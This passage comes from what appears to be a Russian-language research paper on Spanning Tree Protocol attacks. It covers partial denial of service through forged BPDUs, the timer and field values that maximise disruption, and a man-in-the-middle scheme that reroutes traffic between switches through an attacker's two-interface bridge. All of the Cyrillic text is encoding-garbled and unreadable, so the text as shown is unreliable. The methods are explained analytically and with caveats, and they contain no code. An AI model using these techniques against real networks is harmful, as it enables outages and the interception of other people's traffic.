Blocking). Ñëåäóåò îòìåòèòü, ÷òî ïðè ïåðåõîäå ñòàòóñà íàçíà÷åííîãî ìîñ-
òà äëÿ ñåãìåíòà â ðåçóëüòàòå STP àòàêè, â ñëó÷àå, åñëè îñïàðèâàâøèå
ýòîò ñòàòóñ óñòðîéñòâà áûëè ïîäêëþ÷åíû ê ðàçíûì ïîðòàì, èçìåíÿåòñÿ
è íàçíà÷åííûé ïîðò. Ñ òî÷êè çðåíèÿ ïîëüçîâàòåëÿ ñåòè ñåãìåíò ¾Victim
LAN¿ ïåðåñòàåò ¾âèäåòü¿ îñòàëüíóþ ñåòü (âñå, ÷òî ïîäêëþ÷åíî ÷åðåç
Bridge 1), ïðè ýòîì àòàêóþùèé (attacker) ïðîäîëæàåò âèäåòü âñå ñåãìåí-
òû ñåòè, êðîìå ñåãìåíòà ¾Victim LAN¿. Îáúåêòîì àòàêè ÿâëÿåòñÿ ¾Brid-
ge 1¿, êîòîðîìó ïîñûëàþòñÿ BPDU îò èìåíè ¾Bridge 2¿, íî ñ ¾ëó÷øèìè¿
(ñ òî÷êè çðåíèÿ âûèãðûøà STP-âûáîðîâ) ïàðàìåòðàìè.

Ïðèìåð A) îòëè÷àåòñÿ îò B) òåì, ÷òî áóäó÷è ïîäêëþ÷åííûì ê òîìó
æå ïîðòó ¾Bridge 1¿ àòàêóþùèé (attacker) òàêæå, êàê è æåðòâà (¾Victim
LAN¿) ïåðåñòàåò ¾âèäåòü¿ îñòàëüíóþ ñåòü. Îáúåêòîì àòàêè ÿâëÿåòñÿ
¾Bridge 1¿, êîòîðîìó âîçâðàùàþòñÿ BPDU, ïîëó÷åííûå îò íåãî æå è
èçìåíåííûå òàê, ÷òîáû ñýìóëèðîâàòü çàêîëüöîâûâàíèå ìåæäó ýòèì è
äðóãèì èíòåðôåéñîì. Ïðè ýòîì ïàðàìåòðû òàêèõ BPDU äîëæíû áûòü

19Äàííàÿ àòàêà ìîæåò îêàçàòüñÿ íåâîçìîæíîé áåç ôèçè÷åñêîãî ïîäêëþ÷åíèÿ ê ñî-
îòâåòñòâóþùåìó ñåãìåíòó. Àâòîðû íàìåðåíû ïðîâåñòè äîïîëíèòåëüíûå ýêñïåðèìåí-
òû.
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Ðèñ. 7: ×àñòè÷íûé DoS (ïðèìåð 1)

ïîäîáðàíû èìåííî òàê, ÷òîáû âûêëþ÷èëñÿ èìåííî ýòîò, à íå ñîñåäíèé
èíòåðôåéñ.

Âàðèàíò A) ìîæåò áûòü òàêæå ðåàëèçîâàí â ñëó÷àå åñëè àòàêóþùèé
(attacker) ïîäêëþ÷åí íå ê ¾Bridge 1¿ ÷åðåç êîíöåíòðàòîð, à ê ¾Bridge
2¿ - â ýòîì ñëó÷àå îáúåêòîì àòàêè áóäåò ¾Bridge 1¿, êîòîðîìó äëÿ ðåà-
ëèçàöèè ÷àñòè÷íîé DoS ïî ýòîé ñõåìå íåîáõîäèìî ïðèñûëàòü BPDU îò
èìåíè ¾Bridge 1¿ ñ ïàðàìåòðàìè ¾ëó÷øèìè¿, ÷åì èìåþùååñÿ ïîäêëþ-
÷åíèå ìåæäó ¾Bridge 1¿ è ¾Bridge 2¿. Ñîáñòâåííî, ïî ýòîé ñõåìå ìîæíî
äîáèòüñÿ DoS äëÿ ëþáîãî ïîðòà íà òîì æå STP-ñîâìåñòèìîì óñòðîéñò-
âå. Ýòè ñõåìû ïðîèëëþñòðèðîâàíû ðèñóíêîì 8. Ïðè ðàçóìíîì ïîäáîðå
ïàðàìåòðîâ BPDU ýòî ñòàíîâèòñÿ âîçìîæíûì òàêæå è äëÿ ïîðòîâ íà
ñîñåäíèõ STP-ñîâìåñòèìûõ óñòðîéñòâàõ.

Áîëåå òèïè÷íîé áóäåò ñõåìà ïîêàçàííàÿ íà ðèñóíêå 9. Â ðåàëüíûõ
óñëîâèÿõ ó çëîóìûøëåííèêà ðåäêî åñòü âîçìîæíîñòü ðàñöåïèòü ëèíê
ìåæäó êîììóòàòîðàìè, ¾âðåçàòü¿ òóäà êîíöåíòðàòîð è âñòàâëÿòü â ïî-
òîê ñâîè ïàêåòû. Ñêîðåå âîçìîæåí òàêîé ñöåíàðèé: ñåðâåðà âêëþ÷åíû â
îäèí êîììóòàòîð, êëèåíòû âêëþ÷åíû â êîíöåíòðàòîðû, ïîäñîåäèíåííûå
ê îäíîìó èëè íåñêîëüêèì êîììóòàòîðàì. Ïî àíàëîãèè àòàêè Ìèòíèêà íà
Øèìîìóðó, àòàêóþùåìó íàäî ¾âûêëþ÷èòü¿ îäíîãî èç ó÷àñòíèêîâ ñî-
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Ðèñ. 8: ×àñòè÷íûé DoS (ïðèìåð 2)

åäèíåíèÿ, à èìåííî, ñåðâåð. Äëÿ ýòîãî îí äîëæåí óáåäèòü êîììóòàòîð, ê
êîòîðîìó ïîäêëþ÷åí êîíöåíòðàòîð ñ èíòåðåñóþùèì åãî êëèåíòîì, ÷òî
îí èìååò ëó÷øèé ïóòü äî âòîðîãî êîììóòàòîðà, ê êîòîðîìó ïîäêëþ÷åí
ñåðâåð. Â ðåçóëüòàòå, ëèíê ìåæäó êîììóòàòîðàìè ðâåòñÿ, è àòàêóþùèé
ìîæåò ïðèêèäûâàòüñÿ ñåðâåðîì èëè ïðîñòî çëîðàäñòâîâàòü îò ôàêòà
íåäîñòóïíîñòè ñåðâåðà êëèåíòó (ñì. ðèñ. 9). Ðàçóìååòñÿ, êîíöåíòðàòîð
çäåñü íå ïðèíöèïèàëåí, õîòÿ ìîæíî ñòðîèòü àòàêó, ïîäîáíóþ ýòîé, íà
âñþ ñåòü, íå çàäóìûâàÿñü íàä ïîäñ÷åòîì âåëè÷èí äëÿ äàííîãî ñåãìåíòà
ñåòè. Åñëè êîíå÷íîé öåëüþ ÿâëÿåòñÿ êîìïüþòåð, ïîäêëþ÷åííûé ê êîí-
öåíòðàòîðó - îí íå ¾óïàäåò¿ îò ýòîé àòàêè, èáî ñëèøêîì ¾ãëóï¿.

Ðèñóíîê 8, ÷àñòü à), îáðàùàåò âíèìàíèå íà ñëåäóþùóþ îñîáåííîñòü:
åñëè ñ÷èòàòü, ÷òî íóìåðàöèÿ ïîðòîâ èäåò ñëåâà íàïðàâî, òî àòàêóþùèé,
ïûòàÿñü óñòðîèòü ÷àñòè÷íûé DoS äëÿ ëèíêà ìåæäó êîììóòàòîðàìè, ìî-
æåò ñäåëàòü åãî èñêëþ÷èòåëüíî ñåáå, åñëè íå ïîäîáðàòü ïàðàìåòðû ñïå-
öèàëüíûì îáðàçîì. Äåëî â òîì, ÷òî, ïðè ïðî÷èõ ðàâíûõ óñëîâèÿõ, âêëþ-
÷åííûì îñòàíåòñÿ ïîðò ñ ìåíüøèì ID. Ïîýòîìó àòàêóþùèé äîëæåí ïî-
äîáðàòü äëÿ ôàëüñèôèêàöèè òàêîé íîìåð ïîðòà ñîñåäíåãî êîììóòàòîðà,
êîòîðûé çàñòàâèò êîììóòàòîð ¾Bridge 2¿ âûêëþ÷èòü èìåííî íåîáõîäè-
ìûé àòàêóþùåìó ëèíê, à íå òîò, ñ êîòîðîãî èäåò àòàêà. Äëÿ ñëó÷àÿ æå
ñ îäíèì åäèíñòâåííûì STP-ñîâìåñòèìûì óñòðîéñòâîì (ðèñ. 8, ÷àñòü b))
àòàêà ëåãêî ðåàëèçóåìà äëÿ âñåõ LAN, ïîäêëþ÷åííûõ ê ïîðòàì, áîëü-
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Ðèñ. 9: ×àñòè÷íûé DoS (ïðèìåð 3)

øèì ïî íîìåðó. Îäíàêî ïðè ïîïûòêå ðåàëèçîâàòü åå ïî îòíîøåíèþ ê
ïåðâîìó ïîðòó íè÷åãî íå âûéäåò: ïîëó÷èâ BPDU íà áîëüøåì ïî íîìåðó
ïîðòó îò èìåíè ïîðòà c ìåíüøèì íîìåðîì, óñòðîéñòâî âûêëþ÷èò ïîðò ñ
áîëüøèì íîìåðîì.

Èçìåíÿÿ Max Age, forward delay, hello time â ëîæíûõ c-bpdu, ìû ìî-
æåì óïðàâëÿòü êàê ìèíèìóì áëèæàéøèìè êîììóòàòîðàìè, èçìåíÿÿ èõ
ïðåäñòàâëåíèå î òîïîëîãèè ñåòè, à òàêæå (÷òî ïðèíöèïèàëüíî ïðè îðãà-
íèçàöèè ÷àñòè÷íîé DoS) - èçìåíÿòü òàéì-àóòû ïðîòîêîëà, ÷òî ïîçâîëÿåò
íàì âûñòàâèòü êîíôëèêòóþùèå ñ îñòàëüíîé ñåòüþ çíà÷åíèÿ.

Ñëåäóåò çàìåòèòü, ÷òî â ñèëó òàéìàóòîâ ðåêîíôèãóðàöèè â ðàìêàõ
ïðîòîêîëà è òîãî, ÷òî â ìîìåíò ðåêîíôèãóðàöèè ïîëüçîâàòåëüñêèå ôðåé-
ìû íå ïåðåäàþòñÿ, ïðèìåíåíèå äàííîé ìåòîäèêè äëÿ âðåìåííîãî ïîëó÷å-
íèÿ ïàêåòîâ (íàïðèìåð, ÷àñòè ïàêåòîâ èñïîëüçóåìûõ ïðè óñòàíîâëåíèè
ñîåäèíåíèÿ ñ ïîìîùüþ ïðîòîêîëîâ âåðõíèõ óðîâíåé, íàïðèìåð, IP) íå-
öåëåñîîáðàçíî, ïîñêîëüêó â ìîìåíòà èçìåíåíèÿ òîïîëîãèè ýòè ïàêåòû
áëîêèðóþòñÿ20.

Ïðåäìåòîì àòàêè ìîæåò áûòü ìàðøðóò ìåæäó ëþáûìè äâóìÿ STP-
ñîâìåñòèìûìè óñòðîéñòâàìè ñåòè. Ñëåäóåò òàêæå îòìåòèòü, ÷òî ïðè îð-
ãàíèçàöèè ÷àñòè îïèñûâàåìûõ çäåñü àòàê ïðèäåòñÿ óãàäûâàòü bridge ID

20Òåì íå ìåíåå, ïðè îïðåäåëåííûõ íàñòðîéêàõ ñ èñïîëüçîâàíèåì ðàñøèðåííîé ñïå-
öèôèêàöèè STP-ïðîòîêîëà ýòî âñå-òàêè èìååò ñìûñë (ñì. ðàçäåë 8.1)
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÷àñòè óñòðîéñòâ, îäíàêî ýòà çàäà÷à çà÷àñòóþ îáëåã÷àåòñÿ âîçìîæíîñòüþ
ïîëó÷èòü ÷àñòü èäåíòèôèêàòîðà èëè äèàïàçîí âîçìîæíûõ çíà÷åíèé êîñ-
âåííûì îáðàçîì - ÷åðåç ïðîòîêîëû áîëåå âûñîêîãî óðîâíÿ (íàïðèìåð, èñ-
ïîëüçóÿ ñòåê TCP/IP, ìîæíî ïîëó÷èòü MAC êîììóòàòîðà, ïðîïèíãîâàâ
åãî è ïîñìîòðåâ arp òàáëèöó), èñïîëüçóÿ òàáëèöû çàðåçåðâèðîâàííûõ çà
òåì èëè èíûì ïðîèçâîäèòåëåì äèàïàçîíîâ MAC àäðåñîâ è äð. Èìåÿ îäèí
èç MAC àäðåñîâ ìíîãîïîðòîâîãî àêòèâíîãî óñòðîéñòâà, ëåãêî âû÷èñëèòü
îñòàëüíûå, ïîñêîëüêó ïðîèçâîäèòåëè îáû÷íî ïðèñâàèâàþò MAC àäðåñà
ïîðòàì ïîäðÿä, à èõ èçìåíåíèå, äàæå åñëè îíî äîñòóïíî àäìèíèñòðàòî-
ðó, ïðàêòè÷åñêè íå òðåáóåòñÿ äëÿ òèïè÷íûõ çàäà÷ àäìèíèñòðèðîâàíèÿ.
Âàæíî çàìåòèòü, ÷òî ðåàëèçàöèÿ ÷àñòè÷íîé DoS íå òðåáóåò èñïîëüçîâà-
íèÿ ïåðåâûáîðîâ STP-root - äîñòàòî÷íî ïåðåâûáîðîâ designated bridge,
÷òî, êàê ñëåäñòâèå, ïîçâîëÿåò, ïðè îïðåäåëåííûõ óñëîâèÿõ, ïðîâåñòè ýòó
àòàêó íåçàìåòíî äëÿ âñåé îñòàëüíîé ñåòè21.

6.4.6 STP DoS: Âåëè÷èíû, êîòîðûå äîëæíû áûòü óñòàíîâëåíû
â STP ïàêåòàõ, îðãàíèçóþùèõ DoS

Ãëàâà 8.6 (êîíêðåòíåå, ðàçäåë 8.6.1.3) â [1] ñîäåðæèò ïîäðîáíîå îïè-
ñàíèå âñåõ ïàðàìåòðîâ BDPU. Ðàçóìååòñÿ, â çàâèñèìîñòè îò àëãîðèòìà
àòàêè âåëè÷èíû èñïîëüçóþòñÿ ðàçíûå. Äëÿ DoS àòàêè ïîñðåäñòâîì ïî-
ñòîÿííîé èíèöèàöèè âûáîðîâ STP root bridge âàæíû ñëåäóþùèå ïàðà-
ìåòðû.

Root bridge óñòàíâàëèâàåò ñëåäóþùèå çíà÷åíèÿ:

RootPathCost = 0 ([1], 8.5.3.2)
RootPort = 0 ([1], 8.5.3.3)

Bridge′srootport = 0 ([1], 8.8.1.a)

Message Age íàäî óñòàíàâëèâàòü ìèíèìàëüíî âîçìîæíûì, òàê, ÷òîáû
ïàêåò ñ÷èòàëñÿ ìîëîäûì. Â ëþáîì ñëó÷àå ýòîò ïàðàìåòð äîëæåí áûòü
íàìíîãî ìåíüøå Max-age. Âïðî÷åì óñòàíîâêà ýòîãî ïàðàìåòðà òàêæå çà-
âèñèò îò âûáðàííîãî àëãîðèòìà.

21Äàííàÿ àòàêà ìîæåò îêàçàòüñÿ íåðåàëèçóåìîé áåç ôèçè÷åñêîãî ïîäêëþ÷åíèÿ ê
àòàêóåìîìó ñåãìåíòó. Àâòîðû ïëàíèðóþò óòî÷íèòü ýòî äîïîëíèòåëüíûìè ýêñïåðè-
ìåíòàìè. Ïîñëå îáñóæäåíèÿ ñ Dmitry Goloubev (àäðåñ ñì. â ðàçäåëå 19) îïóáëèêî-
âàííîé àâòîðàìè ñòàòüè, ÿâëÿþùåéñÿ âûæèìêîé äàííîé ðàáîòû, ó íàñ ïîÿâèëèñü
ñîìíåíèÿ â ïîðÿäêå ðàáîòû STP-ñîâìåñòèìûõ óñòðîéñâ ñ BPDU. Ñóùåñòâóåò äâå
âîçìîæíîñòè: 1) êîììóòàòîð èçìåíÿåò ñîñòîÿíèå ïîðòà â ñëó÷àå ïðèõîäà BPDU íà
ëþáîé ïîðò è 2) êîììóòàòîð èçìåíÿåò ñîñòîÿíèå ïîðòà òîëüêî ïî ïðèõîäå BPDU
èìåííî íà íåãî. Ðàçóìååòñÿ âî âòîðîì ñëó÷àå ÷àñòü îïèñàíûõ àòàê ñóæàåò îáëàñòü
ñâîåãî ïðèìåíåíèÿ (íî òîëüêî ÷àñòü!).

43



Êàê è Message Age, Max Age íàäî óñòàíàâëèâàòü â çàâèñèìîñòè îò
âûáðàííîãî àëãîðèòìà. Òàê, äëÿ àòàê, â êîòîðûõ âàæíî ìàêñèìàëüíî
äîëãî ñîõðàíèòü íàâÿçàííóþ ñòðóêòóðó STP äåðåâà, Max Age äîëæåí
áûòü óñòàíîâëåí â ìàêñèìóì, 40 ñåêóíä (ñì. [1], ñòð. 108, òàáëèöà 8.3),
à äëÿ òåõ ñëó÷àåâ, êîãäà íåîáõîäèìî èíèöèèðîâàòü êàê ìîæíî áîëüøå
ïåðåâûáîðîâ - ìèíèìàëüíûì, ò.å. 6 ñåêóíä.

Bridge ID äîëæåí óñòàíàâëèâàòüñÿ â ñîîòâåòñòâèè ñ àëãîðèòìîì èç
ðàçäåëà 6. Âûáîðû âûèãðûâàþò ìåíüøèå çíà÷åíèÿ.

Port ID - â îïðåäåëåííûõ ñëó÷àÿõ ó÷àñòâóåò â âûáîðàõ, ïîýòîìó äîëæ-
íî áûòü âûáðàíî çíà÷åíèå ñ ìàêñèìàëüíûì ïðèîðèòåòîì - 0.

6.4.7 STP DoS: Íàèáîëåå ýôôåêòèâíûå âåëè÷èíû ïàóç ïðè îð-
ãàíèçàöèè îòêàçà â îáñëóæèâàíèè

Max Age ([1], 8.5.1.6, ñòð. 68; [1], 8.5.3.4, ñòð. 69) - äîëæåí áûòü ìàêñè-
ìàëüíî âîçìîæíûì.

Forward Delay ([1], 8.5.1.8) - äîëæåí áûòü ìàêñèìàëüíî âîçìîæíûì
(÷òîáû ìàêñèìàëüíî çàòîðìîçèòü ïåðåêëþ÷åíèå â forwarding state). Âðå-
ìÿ êîòîðîå ïîðò íå ïåðåäàåò ôðåéìû t = 2 ∗ fowarddelay (îïðåäåëÿåòñÿ
[1], 8.7.5, øàã 2) ).

Hello Time ([1], 8.5.3.5) - äîëæåí áûòü ìèíèìàëüíûì.

Bridge ID - ðàññìàòðèâàåòñÿ â äðóãîé ãëàâå.

Íà ñòðàíèöàõ 108 è 109 â [1] ïðèâåäåíû òàáëèöû çíà÷åíèé, â òîì ÷èñëå
çíà÷åíèé òàéìåðîâ. Äëÿ ìàêñèìàëüíî ýôôåêòèâíîé DoS íóæíî, ÷òîáû

2 ∗ Forward_Delay > Max_Age.

Âûáèðàÿ ðàçðåøåííûå ñòàíäàðòîì çíà÷åíèÿ èç òàáëèöû 8-3 èç [1], 8.10.2,
ñòð.107 âèäèì, ÷òî íåðàâåíñòâî

2 ∗ 30 > 40

âûïîëíÿåòñÿ ñ õîðîøèì çàïàñîì22.
22Â ñëîæíûõ ñåòÿõ ýòè ïàðàìåòðû ìîãóò èìåòü äðóãèå çíà÷åíèÿ. Ýòî ñâÿçàíî ñ òåì,

÷òî â íåêîòîðûõ ñëó÷àÿõ àäìèíèñòðàòîðó íåîáõîäèìî ïîäáèðàòü âåëè÷èíû ïàðàìåò-
ðîâ ïîä ðàçìåðû ñåòè äëÿ îáåñïå÷åíèÿ ñõîäèìîñòè.
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Bridge 2 Bridge 1

Bridge 4

Bridge 8

Bridge 5

Bridge 3

Bridge 6

Bridge 7

Workstatiion 2
Workstation 1

X

Ðèñ. 10: ×åëîâåê ïîñåðåäèíå

Îïðåäåëåííûå çíà÷åíèÿ èç òàáëèö èíòåðåñíû òîëüêî ïðè îòäåëüíûõ
òèïàõ àòàêè, íàïðèìåð, path cost èìååò ñìûñë óñòàíàâëèâàòü òîëüêî ïðè
íåæåëàíèè îñïàðèâàòü ñòàòóñ ¾designated root¿.

6.5 Íàâÿçûâàíèå ëîæíîãî ìàðøðóòà (÷åëîâåê ïîñåðåäè-
íå), èëè ¾ïåðåòÿíè êîëüöî íà ñåáÿ¿.

Êàê óæå óïîìèíàëîñü, â ñèëó òîãî, ÷òî òîïîëîãèÿ ñåòè îïðåäåëÿåòñÿ
ïðè ó÷àñòèè ïðîòîêîëà STP, âîçìîæíà àòàêà ïî ñõåìå ¾ëîæíûé îáúåêò
ÐÂÑ ñ íàâÿçûâàíèåì ëîæíîãî ïóòè¿ (â òåðìèíîëîãèè [3]), èçâåñòíàÿ ïî
àíãëîÿçû÷íûì ïóáëèêàöèÿì êàê MitM (Man-in-the-Middle). Îäíàêî ðå-
àëèçîâàòü òàêóþ àòàêó ìîæíî òîëüêî ïðè îïðåäåëåííûõ óñëîâèÿõ êîí-
ôèãóðàöèè ñåòè, à èìåííî â òåõ ñëó÷àÿõ, êîãäà æåðòâû, òðàôèê ìåæ-
äó êîòîðûìè íàäî ïåðåõâàòèòü (òî åñòü, íàïðàâèòü ïî êàíàëó, êîòîðûé
ìîæíî ïðîñëóøèâàòü), íàõîäÿòñÿ â ñåòè ñ äâóìÿ (êàê ìèíèìóì) STP-
ñîâìåñòèìûìè êîììóòàòîðàìè è ïîäêëþ÷åíû ê ðàçíûì êîììóòàòîðàì.
Ïðè÷åì, äëÿ ðåàëèçàöèè àòàêè â ïîëíîé ìåðå òðåáóåòñÿ äâà ñåòåâûõ
èíòåðôåéñà, ïîäêëþ÷åíèå êîòîðûõ íåîáõîäèìî îñóùåñòâèòü òàê, ÷òîáû
îáðàçîâàòü ïîòåíöèàëüíûé äóáëèêàò èìåþùåãîñÿ ïóòè ìåæäó èñòî÷íè-
êàìè.

Ðàññìîòðèì ðèñ. 10. Íà íåì èçîáðàæåíà ñëîæíàÿ ñåòü, ïîñòðîåííàÿ
íà èíòåëëåêòóàëüíûõ êîììóòàòîðàõ (bridge), ïîääåðæèâàþùèõ ïðîòî-
êîë STP. Ñåòü ïîêàçàíà â ¾óñòîÿâøåìñÿ¿ ñîñòîÿíèè, ò.å. ôîðìèðîâàíèå
òîïîëîãèè çàâåðøåíî, ðåçåðâíûå ëèíêè ïåðåâåäåíû â ñîñòîÿíèå ¾bloc-
king¿. Â çàäà÷ó çëîóìûøëåííèêà âõîäèò îñóùåñòâèòü ïåðåõâàò òðàôèêà
ìåæäó óñòðîéñòâàìè, ïîäêëþ÷åííûìè ê êîììóòàòîðàì Bridge2 è Bridge8
(íà ðèñóíêå èçîáðàæåíû êàê Workstation1 è Workstation2). Ðåçóëüòàòîì
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àòàêè áóäåò ïåðåâîä èìåþùèõñÿ ñîåäèíåíèé ìåæäó Bridge1 è Bridge2
â ñîñòîÿíèå ¾blocking¿ (íà ðèñóíêå îòìå÷åíî êðåñòèêîì) è ïåðåíàïðàâ-
ëåíèå âñåãî òðàôèêà ìåæäó ýòèìè êîììóòàòîðàìè (à çíà÷èò, è òðàôèêà
ìåæäó îáåèìè òî÷êàìè, òðàôôèê êîòîðûõ àòàêóþùåìó íåîáõîäèìî ïîä-
ñëóøàòü) íà èíòåðôåéñû àòàêóþùåãî. Â ïðèíöèïå, çàäà÷à îïðåäåëåíèÿ
ìåñò âêëþ÷åíèÿ â ñåòü, ïðè êîòîðûõ áóäåò âîçìîæíà àòàêà STP-MitM,
äîëæíà ïîääàâàòüñÿ îïèñàíèþ ÷åðåç òåîðèþ ãðàôîâ. Äëÿ òîãî, ÷òîáû
ïîëó÷èòü èìåííî MitM, à íå DoS, àòàêóþùèé õîñò äîëæåí ïîääåðæè-
âàòü ðàáîòó îáîèõ ñâîèõ èíòåðôåéñîâ â ðåæèìå ìîñòà, ÷òî ëåãêî ðåàëè-
çóåìî, ïîñêîëüêó ñóùåñòâóåò íåñêîëüêî ñâîáîäíî ðàñïðîñòðàíÿåìûõ (â
òîì ÷èñëå ïî GNU GPL ëèöåíçèè) ðåàëèçàöèé bridging'à, íàïðèìåð, äëÿ
Linux.

Çàìåòèì, ÷òî äëÿ ýòîãî äàæå íå òðåáóåòñÿ ïîääåðæêà STP ÎÑ, ðà-
áîòàþùåé êàê ìîñò. Áîëåå òîãî, òàêàÿ ïîëíîôóíêöèîíàëüíàÿ ïîääåðæ-
êà òîëüêî ïîâðåäèò, ïîñêîëüêó ïðèíöèï MitM àòàêè ïðè èñïîëüçîâàíèè
äâóõ ñåòåâûõ èíòåðôåéñîâ áàçèðóåòñÿ íà òîì, ÷òî àòàêóþùèé ìîæåò ïî-
ñûëàòü BPDU ïàêåòû îò ÷óæîãî èìåíè (íàïðèìåð, â Bridge1 îò èìåíè
Bridge2) ÷òîáû ïðåäñòàâèòü ñåáÿ êàê íàèëó÷øèé ïóòü õîæäåíèÿ ïàêå-
òîâ. Ïðè òàêîé ëîãèêå àòàêè ïîëíîöåííàÿ ïîääåðæêà STP òîëüêî ïî-
ìåøàåò àòàêóþùåìó, ïîýòîìó äëÿ ðåàëèçàöèè MitM ïî ñõåìå íà ðèñ.
10 íåîáõîäèìî îòêëþ÷àòü ïîääåðæêó Spanning Tree, ëèáî èñïîëüçîâàòü
OS+software, â êîòîðûõ íåò ïîääåðæêè STP, íàïðèìåð, ðåàëèçîâàòü
bridge íà OpenBSD, ëèáî ìîäèôèöèðîâàòü èñõîäíûé êîä ïîääåðæêè STP
â äàííîé OS. Òàêèì îáðàçîì, ìàøèíà, ðåàëèçóþùàÿ MitM, íà ñàìîì
äåëå íå íóæäàåòñÿ â ïîëíîöåííîé ïîääåðæêå bridging'à, à ìîæåò ôóíê-
öèîíèðîâàòü íà ìàíåð êîíöåíòðàòîðà, ñ åäèíñòâåííûì èñêëþ÷åíèåì -
òðàíçèòíûé STP-òðàôôèê äîëæåí îòáðàñûâàòüñÿ è âìåñòî íåãî ãåíåðè-
ðîâàòüñÿ ñîáñòâåííûé, àíîíñèðóþùèé ñåáÿ êàê íàèáîëåå âûãîäíûé ïóòü
äëÿ ïàêåòîâ.

Õî÷åòñÿ àêöåíòèðîâàòü âíèìàíèå ÷èòàòåëÿ íà òîì, ÷òî íà ñàìîì äåëå
ýòà àòàêà áîëåå îáùåãî ñâîéñòâà è ïðåäìåòîì àòàêè ìîæåò áûòü ìàðø-
ðóò ìåæäó ëþáûìè äâóìÿ STP-ñîâìåñòèìûìè óñòðîéñòâàìè ñåòè (ñì.
ðàçäåë 6.4.5).

Ïðîñòîòà ýòîãî ïðîòîêîëà äåëàåò âîçìîæíîé äîñòàòî÷íî äåøåâóþ ðåà-
ëèçàöèþ îïèñûâàåìîé àòàêè ¾â æåëåçå¿ - çà ìåíåå ÷åì 5-10 òûñÿ÷ äîëëà-
ðîâ (â îñíîâíîì íà îïëàòó èíòåëëåêòóàëüíîãî òðóäà ðàçðàáîò÷èêîâ) çà
ñðîê ïîðÿäêà ïîëóãîäà âîçìîæíî ïîñòðîèòü äîñòàòî÷íî óíèâåðñàëüíûé,
åñëè òðåáóåòñÿ è ïðîãðàììèðóåìûé, ¾äåñòðóêòîð¿ ñåòè èëè æå ðåàëèçî-
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âàòü ¾â æåëåçå¿ âàðèàíò MitM-àòàêè, îïèñûâàåìîé â ýòîì ðàçäåëå23. Ê
ñîæàëåíèþ òàêèå ðàçðàáîòêè ìîãóò çàèíòåðåñîâàòü ðàçâå ÷òî âîåííûõ,
à òðàòèòü íà ðàçðàáîòêó ýêñïåðèìåíòàëüíîãî îáðàçöà ñîáñòâåííûå äåíü-
ãè àâòîðû íå ñ÷èòàþò âîçìîæíûì24. Òðåáîâàíèå íàëè÷èÿ êàê ìèíèìóì
äâóõ êîììóòàòîðîâ ñâÿçàíî ñ òåì, ÷òî â ñëó÷àå ïîäêëþ÷åíèÿ ê îäíîìó
êîììóòàòîðó àíîíñèðîâàíèå ñåáÿ, êàê ëó÷øåãî ïóòè ñîçäàñò òóïèêîâûé
ïóòü, òî åñòü ýòî ñëó÷àé, îòíîñÿùèéñÿ ê ðàçäåëó 6.4.5. Ê òîìó æå äëÿ
ýòîãî ñëó÷àÿ ãîðàçäî ïðîùå âîñïîëüçîâàòüñÿ arp-poisoning.

Âàæíî çàìåòèòü, ÷òî âñå òàê îäíîçíà÷íî è ïðîñòî òîëüêî â ñëó÷àå, åñëè
àòàêóþùèé ïîäêëþ÷åí ê ñîñåäíèì êîììóòàòîðàì. Â ñëó÷àå æå, åñëè îí
ïîäêëþ÷åí ê êîììóòàòîðàì íåïîñðåäñòâåííî íå ñîåäèíåííûì, ïðèäåò-
ñÿ ïîäáèðàòü çíà÷åíèÿ root id, âîçìîæíî ïîñëåäîâàòåëüíûì ïåðåáîðîì,
ïîñêîëüêó bpdu íå õîäÿò (â íåèçìåííîì âèäå) äàëüøå ïåðâîãî âñòðå-
÷åííîãî STP-ñîâìåñòèìîãî óñòðîéñòâà. Ïîýòîìó òàêàÿ àòàêà êàæåòñÿ íå
ñëèøêîì ÷àñòî ïðèìåíèìîé. Ïîìèìî ýòîãî ó äàííîé àòàêè åñòü åùå îäíî
íåóäîáñòâî - â ñëó÷àå ðåàëèçàöèè äàííîé àòàêè íà îáû÷íîé ïåðñîíàëêå,
ñðàçó æå óïàäåò ïðîïóñêíàÿ ñïîñîáíîñòü ñåòè ìåæäó òî÷êàìè, ñîåäè-
íåííûìè ÷åðåç èíòåðôåéñû àòàêóþùåãî, çà ñ÷åò ïåðåíîñà ñîåäèíåíèÿ
íà áîëåå ìåäëåííûå ñåòåâûå èíòåðôåéñû ÏÊ. Â ïðèíöèïå, çëîóìûøëåí-
íèêó íå îáÿçàòåëüíî èìåòü ïîäêëþ÷åíèå ê êîììóòàòîðàì ÿâëÿþùèìñÿ
÷àñòüþ ðàçîðâàííîãî STP-êîëüöà - îí ìîæåò ¾ðàñòÿíóòü¿ êîëüöî íà ñå-
áÿ, åñëè â ñåòè åñòü äðóãèå äóáëèðóåìûå ñîåäèíåíèÿ. Ïðîñòî â ñëó÷àå
ïîäêëþ÷åíèÿ ê êîììóòàòîðàì, îáðàçóþùèì êîëüöî, çàäà÷ó îðãàíèçàöèè
MitM ðåøèòü ëåã÷å.

Îïèñàííàÿ àòàêà ðàáîòàåò íå íà âñåõ êîíôèãóðàöèÿõ. Îäíàêî â ñëó÷àå,
êîãäà çëîóìûøëåííèê çàõâàòèë êîíòðîëü íàä êîìïüþòåðîì, êîòîðûé ïî
êàêîé-ëèáî ïðè÷èíå ïîäêëþ÷åí ê äâóì èëè áîëåå êîììóòàòîðàì ðàçëè÷-
íûìè èíòåðôåéñàìè - îí èìååò âîçìîæíîñòü åå ðåàëèçîâàòü.

6.5.1 Çàìåòêè ïî êîíñòðóèðîâàíèþ ïàêåòîâ äëÿ ðåàëèçàöèè
àòàêè Man in the Middle

Â îáùåì ñëó÷àå âåëè÷èíû èñïîëüçóåìûå ïðè êîíñòðóèðîâàíèè ïàêå-
òîâ, äîëæíû çàâèñåòü îò ïàðàìåòðîâ, ïîëó÷åííûõ îò óñòðîéñòâ, â êîòî-
ðûå âêëþ÷åí àòàêóþùèé, ëèáî ìîãóò ïîäáèðàòüñÿ, ÷òî ìîæåò âûçâàòü
÷àñòè÷íûé/âðåìåííûé DoS.

23Ïðè÷åì, íå òîëüêî èíòåëëåêòóàëüíîé ñåòè - ¾ãëóïûå¿ ñåòè, ïîñòðîåííûå íà êîí-
öåíòðàòîðàõ, ìîæíî âûâåñòè èç ñòðîÿ, çàñòàâèâ NIC ïîñòîÿííî ïåðåäàâàòü ñèãíàë
jam, ìîæíî ñîâìåñòèòü ïî î÷åðåäè jam'ing è îïèñûâàåìûé çäåñü STP-redirect.

24Áîëåå òîãî, îá ýòîì åñòü ñìûñë ãîâîðèòü òîëüêî ïðèìåíèòåëüíî ê ïîðòàòèâíîìó
